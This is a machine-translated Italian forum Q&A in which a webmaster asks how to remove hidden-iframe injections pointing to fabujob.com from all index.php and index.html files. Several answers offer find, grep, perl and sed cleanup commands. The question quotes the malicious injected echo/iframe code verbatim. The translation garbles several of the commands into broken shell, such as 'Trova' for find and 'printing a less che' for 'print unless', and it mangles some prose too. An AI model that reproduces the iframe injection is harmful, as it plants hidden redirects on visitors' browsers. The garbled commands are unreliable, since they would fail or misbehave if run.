Cerca index.php e index.html e sostituisci la string

Recentemente ho avuto una sorta di Malware sul mio computer che ha aggiunto a tutti index.php e index.html SULLA SEGNALAZIONE! le seguenti stringhe:

echo "<iframe src=\"http://fabujob.com/?click=AD4A4\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; echo "<iframe src=\"http://fabujob.com/?click=AC785\" width=1 height=1 style=\"visibility:hidden;position:absolute\"></iframe>"; 

Quindi il parametro dopo "click =" cambia sempre. Questi due erano solo esempi.

C'è un modo per farlo veloce e veloce?

.

.

EDIT: È sul mio webserver, quindi non uso di trovare …

5 Solutions collect form web for “Cerca index.php e index.html e sostituisci la string”

un modo semplice per farlo è quello di utilizzare la ricerca e il grep, più perl per eseguire le modifiche.

innanzitutto, build un elenco di nomi di file che sono stati compromessi:

 Trova / path / a / web / sito-nome 'index.htm *' -o -name 'index.php' -print0 |  \
   xargs -0 grep -l 'iframe src. * fabujob \ .com'> /tmp/compromised-files.txt

successivamente, utilizzare perl per modificare i file e rimuovere il exploit:

 cat /tmp/compromised-files.txt |  \
   xargs -d '\ n' perl -n -i.BAK -e 'printing a less che m / fabujob \ .com / i' 

(sì, per i pedanti UUOC là fuori, che è un uso inutile del gatto, ma rende l'esempio più facile da leggere e comprendere)

che eliminerà each row contenente la string "fabujob.com" da ciascuno dei file compromessi. Inoltre manterrà un backup di each file come nomefile.BAK in modo da poterli ripristinare facilmente se qualcosa va storto. è necessario eliminarli quando non ne hai più bisogno.

questo script perl si basa sul campione che hai dato che sembra indicare che l'attacco ha aggiunto un'intera row contenente il exploit, in modo che questo script printing each row tranne quelli che contano l'URL del exploit. se questo non è effettivamente il caso, allora dovrai trovare uno script più appropriato 🙂

questa è una tecnica generica che puoi utilizzare per eseguire modifiche automatiche a un gruppo di file. è ansible utilizzare qualsiasi codice perl per eseguire il lavoro, e perl ha un enorme tagliente di funzionalità di manipolazione del text.

BTW, facendo questo tipo di lavoro, SEMPRE fare una copia dell'intera directory tree coinvolti e lavorare su quella prima. in questo modo non import se si perde lo script di modifica del perl … solo rsync il back originale sopra il dir dir. una volta che lo script è esattamente esatto, puoi eseguirlo sui file reali.

Sed e trovare dovrebbero aiutarti, ma sed prendere un po 'di tempo per imparare (basta che non riesco ad get un ansible command dalla mia mente adesso).

Inoltre, ci sono redattori di gui che sono in grado di trovare e sostituire in un tree di directory intera (cioè Textmate sul Mac). Utilizzare quindi una regex per coprire la parte variabile.

Prova regexxer strumenti di tipo regexxer o rpl . Il loro integer scopo è sostituire ampie proiezioni. Sostengono le directory ricorsive e ti permettono di scegliere i tipi di file a cui deve essere applicata la sostituzione.

Supponendo che il dominio sia sempre lo stesso e non dovrebbe legittimamente esistere ovunque:

 find <documentroot> -name 'index.html' -or -name 'index.php' \ -exec sed -i'.bak' '/fabujob\.com/d' {} \; 

Gli originali verranno salvati con l'estensione " .bak ". È ansible utilizzare -i se non si desidera il backup.

Se sai di non avere tag <iframe> nei tuoi documenti, puoi semplicemente fare

 perl -i -n -e'print unless /<iframe>/' $(find . -name index.html) 

Se si dispone di iframes, allora è necessario rendere più preciso il tuo regex.

La bandiera di Perl è troppo spesso trascurata. Significa "edit in place". Vedere http://petdance.com/perl/command-line-options.pdf per ulteriori esempi di magia da eseguire in Perl dalla row di command.

Suggerimenti per Linux e Windows Server, quali Ubuntu, Centos, Apache, Nginx, Debian e argomenti di rete.